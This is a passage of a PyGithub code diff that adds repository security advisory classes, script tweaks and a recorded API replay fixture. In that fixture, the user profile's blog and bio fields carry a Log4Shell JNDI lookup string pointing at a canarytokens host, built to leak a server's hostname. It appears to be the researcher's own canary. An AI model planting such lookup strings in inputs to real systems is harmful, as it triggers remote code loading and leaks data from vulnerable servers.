github.GithubObject.NotSet + self._state = github.GithubObject.NotSet + self._summary = github.GithubObject.NotSet + self._updated_at = github.GithubObject.NotSet + self._url = github.GithubObject.NotSet + self._vulnerabilities = github.GithubObject.NotSet + self._withdrawn_at = github.GithubObject.NotSet + + # noinspection PyPep8Naming + def _useAttributes(self, attributes): + if "author" in attributes: # pragma no branch + self._author = self._makeClassAttribute( + github.NamedUser.NamedUser, attributes["author"] + ) + if "closed_at" in attributes: # pragma no branch + assert attributes["closed_at"] is None or isinstance( + attributes["closed_at"], str + ), attributes["closed_at"] + self._closed_at = self._makeDatetimeAttribute(attributes["closed_at"]) + if "created_at" in attributes: # pragma no branch + assert attributes["created_at"] is None or isinstance( + attributes["created_at"], str + ), attributes["created_at"] + self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) + if "credits" in attributes: # pragma no branch + self._credits = self._makeListOfClassesAttribute( + RepositoryAdvisoryCredit, + attributes["credits"], + ) + if "credits_detailed" in attributes: # pragma no branch + self._credits_detailed = self._makeListOfClassesAttribute( + RepositoryAdvisoryCreditDetailed, + attributes["credits_detailed"], + ) + if "cve_id" in attributes: # pragma no branch + self._cve_id = self._makeStringAttribute(attributes["cve_id"]) + if "cwe_ids" in attributes: # pragma no branch + self._cwe_ids = self._makeListOfStringsAttribute(attributes["cwe_ids"]) + if "cwes" in attributes: # pragma no branch + self._cwes = self._makeListOfClassesAttribute(CWE, attributes["cwes"]) + if "description" in attributes: # pragma no branch + self._description = self._makeStringAttribute(attributes["description"]) + if "ghsa_id" in attributes: # pragma no branch + self._ghsa_id = self._makeStringAttribute(attributes["ghsa_id"]) + if "html_url" in attributes: # pragma no branch + self._html_url = self._makeStringAttribute(attributes["html_url"]) + if "published_at" in attributes: # pragma no branch + assert attributes["published_at"] is None or isinstance( + attributes["published_at"], str + ), attributes["published_at"] + self._published_at = self._makeDatetimeAttribute(attributes["published_at"]) + if "severity" in attributes: # pragma no branch + self._severity = self._makeStringAttribute(attributes["severity"]) + if "state" in attributes: # pragma no branch + self._state = self._makeStringAttribute(attributes["state"]) + if "summary" in attributes: # pragma no branch + self._summary = self._makeStringAttribute(attributes["summary"]) + if "updated_at" in attributes: # pragma no branch + assert attributes["updated_at"] is None or isinstance( + attributes["updated_at"], str + ), attributes["updated_at"] + self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) + if "url" in attributes: # pragma no branch + self._url = self._makeStringAttribute(attributes["url"]) + if "vulnerabilities" in attributes: # pragma no branch + self._vulnerabilities = self._makeListOfClassesAttribute( + RepositoryAdvisoryVulnerability, + attributes["vulnerabilities"], + ) + if "withdrawn_at" in attributes: # pragma no branch + assert attributes["withdrawn_at"] is None or isinstance( + attributes["withdrawn_at"], str + ), attributes["withdrawn_at"] + self._withdrawn_at = self._makeDatetimeAttribute(attributes["withdrawn_at"]) diff --git a/github/RepositoryAdvisoryCredit.py b/github/RepositoryAdvisoryCredit.py new file mode 100644 index 00000000..a473b64b --- /dev/null +++ b/github/RepositoryAdvisoryCredit.py @@ -0,0 +1,111 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Jonathan Leitschuh # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +import sys +import typing + +import github.GithubObject +import github.NamedUser + +if sys.version_info >= (3, 8): + # TypedDict is only available in Python 3.8 and later + class SimpleCredit(typing.TypedDict): + """ + A simple credit for a security advisory. + """ + + login: typing.Union[str, "github.NamedUser.NamedUser"] + type: str + +else: + SimpleCredit = typing.Dict[str, typing.Any] + +Credit = typing.Union[SimpleCredit, "RepositoryAdvisoryCredit"] + + +class RepositoryAdvisoryCredit(github.GithubObject.NonCompletableGithubObject): + """ + This class represents a credit that is assigned to a SecurityAdvisory. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + @property + def login(self) -> str: + """ + :type: string + """ + return self._login.value + + @property + def type(self) -> str: + """ + :type: string + """ + return self._type.value + + # noinspection PyPep8Naming + def _initAttributes(self): + self._login = github.GithubObject.NotSet + self._type = github.GithubObject.NotSet + + # noinspection PyPep8Naming + def _useAttributes(self, attributes): + if "login" in attributes: # pragma no branch + self._login = self._makeStringAttribute(attributes["login"]) + if "type" in attributes: # pragma no branch + self._type = self._makeStringAttribute(attributes["type"]) + + @staticmethod + def _validate_credit(credit: Credit) -> None: + assert isinstance(credit, (dict, RepositoryAdvisoryCredit)), credit + if isinstance(credit, dict): + assert "login" in credit, credit + assert "type" in credit, credit + assert isinstance( + credit["login"], (str, github.NamedUser.NamedUser) + ), credit["login"] + assert isinstance(credit["type"], str), credit["type"] + else: + assert isinstance(credit.login, str), credit.login + assert isinstance(credit.type, str), credit.type + + @staticmethod + def _to_github_dict(credit: Credit) -> SimpleCredit: + assert isinstance(credit, (dict, RepositoryAdvisoryCredit)), credit + if isinstance(credit, dict): + assert "login" in credit, credit + assert "type" in credit, credit + assert isinstance( + credit["login"], (str, github.NamedUser.NamedUser) + ), credit["login"] + login = credit["login"] + if isinstance(login, github.NamedUser.NamedUser): + login = login.login + return { + "login": login, + "type": credit["type"], + } + else: + return { + "login": credit.login, + "type": credit.type, + } diff --git a/github/RepositoryAdvisoryCreditDetailed.py b/github/RepositoryAdvisoryCreditDetailed.py new file mode 100644 index 00000000..a26524c0 --- /dev/null +++ b/github/RepositoryAdvisoryCreditDetailed.py @@ -0,0 +1,70 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Jonathan Leitschuh # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +import github.GithubObject +import github.NamedUser + + +class RepositoryAdvisoryCreditDetailed(github.GithubObject.NonCompletableGithubObject): + """ + This class represents a credit that is assigned to a SecurityAdvisory. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + @property + def state(self) -> str: + """ + :type: string + """ + return self._state.value + + @property + def type(self) -> str: + """ + :type: string + """ + return self._type.value + + # noinspection PyPep8Naming + @property + def user(self) -> "github.NamedUser.NamedUser": + """ + :type: :class:`github.NamedUser.NamedUser` + """ + return self._user.value + + # noinspection PyPep8Naming + def _initAttributes(self): + self._state = github.GithubObject.NotSet + self._type = github.GithubObject.NotSet + self._user = github.GithubObject.NotSet + + # noinspection PyPep8Naming + def _useAttributes(self, attributes): + if "state" in attributes: # pragma no branch + self._state = self._makeStringAttribute(attributes["state"]) + if "type" in attributes: # pragma no branch + self._type = self._makeStringAttribute(attributes["type"]) + if "user" in attributes: # pragma no branch + self._user = self._makeClassAttribute( + github.NamedUser.NamedUser, attributes["user"] + ) diff --git a/github/RepositoryAdvisoryVulnerability.py b/github/RepositoryAdvisoryVulnerability.py new file mode 100644 index 00000000..f7f57d3b --- /dev/null +++ b/github/RepositoryAdvisoryVulnerability.py @@ -0,0 +1,187 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Jonathan Leitschuh # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +import sys +import typing +from typing import List + +import github.GithubObject +import github.RepositoryAdvisoryVulnerabilityPackage + +if sys.version_info >= (3, 8): + # TypedDict is only available in Python 3.8 and later + class SimpleAdvisoryVulnerabilityPackage(typing.TypedDict): + """ + A simple package in an advisory. + """ + + ecosystem: str + name: typing.Optional[str] # TODO: Python 3.11 make 'NotRequired' + + class SimpleAdvisoryVulnerability(typing.TypedDict): + """ + A simple vulnerability in a security advisory. + """ + + package: SimpleAdvisoryVulnerabilityPackage + patched_versions: typing.Optional[str] # TODO: Python 3.11 make 'NotRequired' + vulnerable_functions: typing.Optional[ + List[str] + ] # TODO: Python 3.11 make 'NotRequired' + vulnerable_version_range: typing.Optional[ + str + ] # TODO: Python 3.11 make 'NotRequired' + +else: + SimpleAdvisoryVulnerabilityPackage = typing.Dict[str, typing.Any] + SimpleAdvisoryVulnerability = typing.Dict[str, typing.Any] + +AdvisoryVulnerability = typing.Union[ + SimpleAdvisoryVulnerability, "RepositoryAdvisoryVulnerability" +] + + +class RepositoryAdvisoryVulnerability(github.GithubObject.NonCompletableGithubObject): + """ + This class represents a package that is vulnerable to a parent SecurityAdvisory. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + @property + def package( + self, + ) -> github.RepositoryAdvisoryVulnerabilityPackage.RepositoryAdvisoryVulnerabilityPackage: + """ + :type: :class:`github.RepositoryAdvisoryVulnerability.RepositoryAdvisoryVulnerability` + """ + return self._package.value + + @property + def patched_versions(self) -> str: + """ + :type: string + """ + return self._patched_versions.value + + @property + def vulnerable_functions(self) -> typing.Optional[List[str]]: + """ + :type: list of string + """ + return self._vulnerable_functions.value + + @property + def vulnerable_version_range(self) -> typing.Optional[str]: + """ + :type: string + """ + return self._vulnerable_version_range.value + + # noinspection PyPep8Naming + def _initAttributes(self): + self._package = github.GithubObject.NotSet + self._patched_versions = github.GithubObject.NotSet + self._vulnerable_functions = github.GithubObject.NotSet + self._vulnerable_version_range = github.GithubObject.NotSet + + # noinspection PyPep8Naming + def _useAttributes(self, attributes): + if "package" in attributes: # pragma no branch + self._package = self._makeClassAttribute( + github.RepositoryAdvisoryVulnerabilityPackage.RepositoryAdvisoryVulnerabilityPackage, + attributes["package"], + ) + if "patched_versions" in attributes: # pragma no branch + self._patched_versions = self._makeStringAttribute( + attributes["patched_versions"] + ) + if "vulnerable_functions" in attributes: # pragma no branch + self._vulnerable_functions = self._makeListOfStringsAttribute( + attributes["vulnerable_functions"] + ) + if "vulnerable_version_range" in attributes: # pragma no branch + self._vulnerable_version_range = self._makeStringAttribute( + attributes["vulnerable_version_range"] + ) + + @classmethod + def _validate_vulnerability(cls, vulnerability: AdvisoryVulnerability) -> None: + assert isinstance(vulnerability, (dict, cls)), vulnerability + if isinstance(vulnerability, dict): + assert "package" in vulnerability, vulnerability + package: SimpleAdvisoryVulnerabilityPackage = vulnerability["package"] + assert isinstance(package, dict), package + assert "ecosystem" in package, package + assert isinstance(package["ecosystem"], str), package + assert "name" in package, package + assert isinstance(package["name"], (str, type(None))), package + assert "patched_versions" in vulnerability, vulnerability + assert isinstance( + vulnerability["patched_versions"], (str, type(None)) + ), vulnerability + assert "vulnerable_functions" in vulnerability, vulnerability + assert isinstance( + vulnerability["vulnerable_functions"], (list, type(None)) + ), vulnerability + assert "vulnerable_functions" in vulnerability, vulnerability + assert ( + all(isinstance(vf, str) for vf in vulnerability["vulnerable_functions"]) + if vulnerability["vulnerable_functions"] is not None + else True + ), vulnerability + assert "vulnerable_version_range" in vulnerability, vulnerability + assert isinstance( + vulnerability["vulnerable_version_range"], (str, type(None)) + ), vulnerability + + else: + assert ( + vulnerability.package + is github.RepositoryAdvisoryVulnerabilityPackage.RepositoryAdvisoryVulnerabilityPackage + ), vulnerability + + @staticmethod + def _to_github_dict( + vulnerability: AdvisoryVulnerability, + ) -> SimpleAdvisoryVulnerability: + if isinstance(vulnerability, dict): + vulnerability_package: SimpleAdvisoryVulnerabilityPackage = vulnerability[ + "package" + ] + return { + "package": { + "ecosystem": vulnerability_package["ecosystem"], + "name": vulnerability_package["name"], + }, + "patched_versions": vulnerability["patched_versions"], + "vulnerable_functions": vulnerability["vulnerable_functions"], + "vulnerable_version_range": vulnerability["vulnerable_version_range"], + } + return { + "package": { + "ecosystem": vulnerability.package.ecosystem, + "name": vulnerability.package.name, + }, + "patched_versions": vulnerability.patched_versions, + "vulnerable_functions": vulnerability.vulnerable_functions, + "vulnerable_version_range": vulnerability.vulnerable_version_range, + } diff --git a/github/RepositoryAdvisoryVulnerabilityPackage.py b/github/RepositoryAdvisoryVulnerabilityPackage.py new file mode 100644 index 00000000..bf8dd529 --- /dev/null +++ b/github/RepositoryAdvisoryVulnerabilityPackage.py @@ -0,0 +1,60 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Jonathan Leitschuh # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from typing import Optional + +import github.GithubObject + + +class RepositoryAdvisoryVulnerabilityPackage( + github.GithubObject.NonCompletableGithubObject +): + """ + This class represents an identifier for a package that is vulnerable to a parent SecurityAdvisory. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + @property + def ecosystem(self) -> str: + """ + :type: string + """ + return self._ecosystem.value + + @property + def name(self) -> Optional[str]: + """ + :type: string or None + """ + return self._name.value + + # noinspection PyPep8Naming + def _initAttributes(self): + self._ecosystem = github.GithubObject.NotSet + self._name = github.GithubObject.NotSet + + # noinspection PyPep8Naming + def _useAttributes(self, attributes): + if "ecosystem" in attributes: # pragma no branch + self._ecosystem = self._makeStringAttribute(attributes["ecosystem"]) + if "name" in attributes: # pragma no branch + self._name = self._makeStringAttribute(attributes["name"]) diff --git a/scripts/add_attribute.py b/scripts/add_attribute.py index 38d01f02..3c25bd56 100644 --- a/scripts/add_attribute.py +++ b/scripts/add_attribute.py @@ -6,8 +6,16 @@ # Copyright 2014 Thialfihar # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # +# Copyright 2018 Yossarian King # # Copyright 2018 sfdye # -# Copyright 2018 bbi-yggy # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Isac Souza # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Wan Liuyang # +# Copyright 2021 karsten-wagner <39054096+karsten-wagner@users.noreply.github.com># +# Copyright 2022 Gabriele Oliaro # +# Copyright 2023 Jonathan Leitschuh # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -42,21 +50,25 @@ types = { "string", None, 'self._makeStringAttribute(attributes["' + attributeName + '"])', + "str", ), "int": ( "integer", None, 'self._makeIntAttribute(attributes["' + attributeName + '"])', + "int", ), "bool": ( "bool", None, 'self._makeBoolAttribute(attributes["' + attributeName + '"])', + "bool", ), "datetime": ( "datetime.datetime", "str", 'self._makeDatetimeAttribute(attributes["' + attributeName + '"])', + "datetime.datetime", ), "class": ( ":class:`" + attributeClassType + "`", @@ -66,10 +78,16 @@ types = { + ', attributes["' + attributeName + '"])', + attributeClassType, ), } -attributeDocType, attributeAssertType, attributeValue = types[attributeType] +attributeDocType, attributeAssertType, attributeValue, attributeClassType = types[ + attributeType +] +if attributeType == "class": + # Wrap in quotes to avoid an explicit import requirement which can cause circular import errors + attributeClassType = f"'{attributeClassType}'" fileName = os.path.join("github", className + ".py") @@ -101,7 +119,9 @@ while not added: ): if not isProperty: newLines.append(" @property") - newLines.append(" def " + attributeName + "(self):") + newLines.append( + " def " + attributeName + "(self) -> " + attributeClassType + ":" + ) newLines.append(' """') newLines.append(" :type: " + attributeDocType) newLines.append(' """') diff --git a/scripts/fix_headers.py b/scripts/fix_headers.py index f7c0fccd..022bf13f 100755 --- a/scripts/fix_headers.py +++ b/scripts/fix_headers.py @@ -6,6 +6,10 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Wan Liuyang # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -60,9 +64,11 @@ def generateLicenseSection(filename): def listContributors(filename): contributors = set() - for line in subprocess.check_output( - ["git", "log", "--format=format:%ad %an <%ae>", "--date=short", "--", filename] - ).split("\n"): + result = subprocess.check_output( + ["git", "log", "--format=format:%ad %an <%ae>", "--date=short", "--", filename], + text=True, + ) + for line in result.split("\n"): year = line[0:4] name = line[11:] contributors.add((year, name)) @@ -126,7 +132,7 @@ class StandardHeader: bodyLines = extractBodyLines(lines) - if len(bodyLines) and bodyLines[0] != "" > 0: + if len(bodyLines) > 0 and bodyLines[0] != "": newLines.append("") newLines += bodyLines @@ -141,10 +147,18 @@ def findHeadersAndFiles(): dirs.remove("developer.github.com") if "build" in dirs: dirs.remove("build") + if ".tox" in dirs: + dirs.remove(".tox") + if ".venv" in dirs: + dirs.remove(".venv") + if "PyGithub.egg-info" in dirs: + dirs.remove("PyGithub.egg-info") for filename in files: fullname = os.path.join(root, filename) - if filename.endswith(".py"): + if filename == "GithubCredentials.py": + pass + elif filename.endswith(".py"): yield (PythonHeader(), fullname) elif filename in ["COPYING", "COPYING.LESSER"]: pass diff --git a/tests/ReplayData/RepositoryAdvisory.setUp.txt b/tests/ReplayData/RepositoryAdvisory.setUp.txt new file mode 100644 index 00000000..ff6d22ba --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.setUp.txt @@ -0,0 +1,55 @@ +https +GET +api.github.com +None +/user +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"708c0e86a047d2741565623eb77ba80d8b8df08ca93044d1b821c62814d7b69b"'), ('Last-Modified', 'Mon, 13 Mar 2023 16:02:40 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F60F:138E:603528:C4AB1C:642C4F43')] +{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false,"name":"Jonathan Leitschuh","company":"@ossf ","blog":"${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a}","location":"Boston, MA","email":"jonathan.leitschuh@gmail.com","hireable":null,"bio":"Software Engineer & Security Researcher;\r\n\r\nFirst Dan Kaminsky Fellow @ HUMAN Security;\r\n\r\n${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken","twitter_username":"JLLeitschuh","public_repos":1515,"public_gists":33,"followers":654,"following":65,"created_at":"2012-01-12T04:25:37Z","updated_at":"2023-03-13T16:02:40Z"} + +https +GET +api.github.com +None +/repos/JLLeitschuh/security-research +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2c275e3fcb50b1e0cb18877f0e3b0641f4e0196247cb7d28de72baed9c15ad31"'), ('Last-Modified', 'Sun, 05 Mar 2023 20:38:47 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F610:1E99:61E6BF:C7BB05:642C4F44')] +{"id":339780541,"node_id":"MDEwOlJlcG9zaXRvcnkzMzk3ODA1NDE=","name":"security-research","full_name":"JLLeitschuh/security-research","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/security-research","description":"Public disclosure channel for security vulnerabilities","fork":false,"url":"https://api.github.com/repos/JLLeitschuh/security-research","forks_url":"https://api.github.com/repos/JLLeitschuh/security-research/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/security-research/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/security-research/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/security-research/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/security-research/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/security-research/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/security-research/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/security-research/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/security-research/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/security-research/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/security-research/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/security-research/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/security-research/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/security-research/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/security-research/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/security-research/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/security-research/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/security-research/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/security-research/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/security-research/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/security-research/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/security-research/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/security-research/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/security-research/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/security-research/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/security-research/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/security-research/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/security-research/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/security-research/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/security-research/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/security-research/deployments","created_at":"2021-02-17T16:11:43Z","updated_at":"2023-03-05T20:38:47Z","pushed_at":"2023-02-24T18:21:14Z","git_url":"git://github.com/JLLeitschuh/security-research.git","ssh_url":"git@github.com:JLLeitschuh/security-research.git","clone_url":"https://github.com/JLLeitschuh/security-research.git","svn_url":"https://github.com/JLLeitschuh/security-research","homepage":null,"size":152,"stargazers_count":15,"watchers_count":15,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":true,"forks_count":6,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":8,"license":{"key":"cc0-1.0","name":"Creative Commons Zero v1.0 Universal","spdx_id":"CC0-1.0","url":"https://api.github.com/licenses/cc0-1.0","node_id":"MDc6TGljZW5zZTY="},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":6,"open_issues":8,"watchers":15,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":6,"subscribers_count":4} + +https +GET +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, 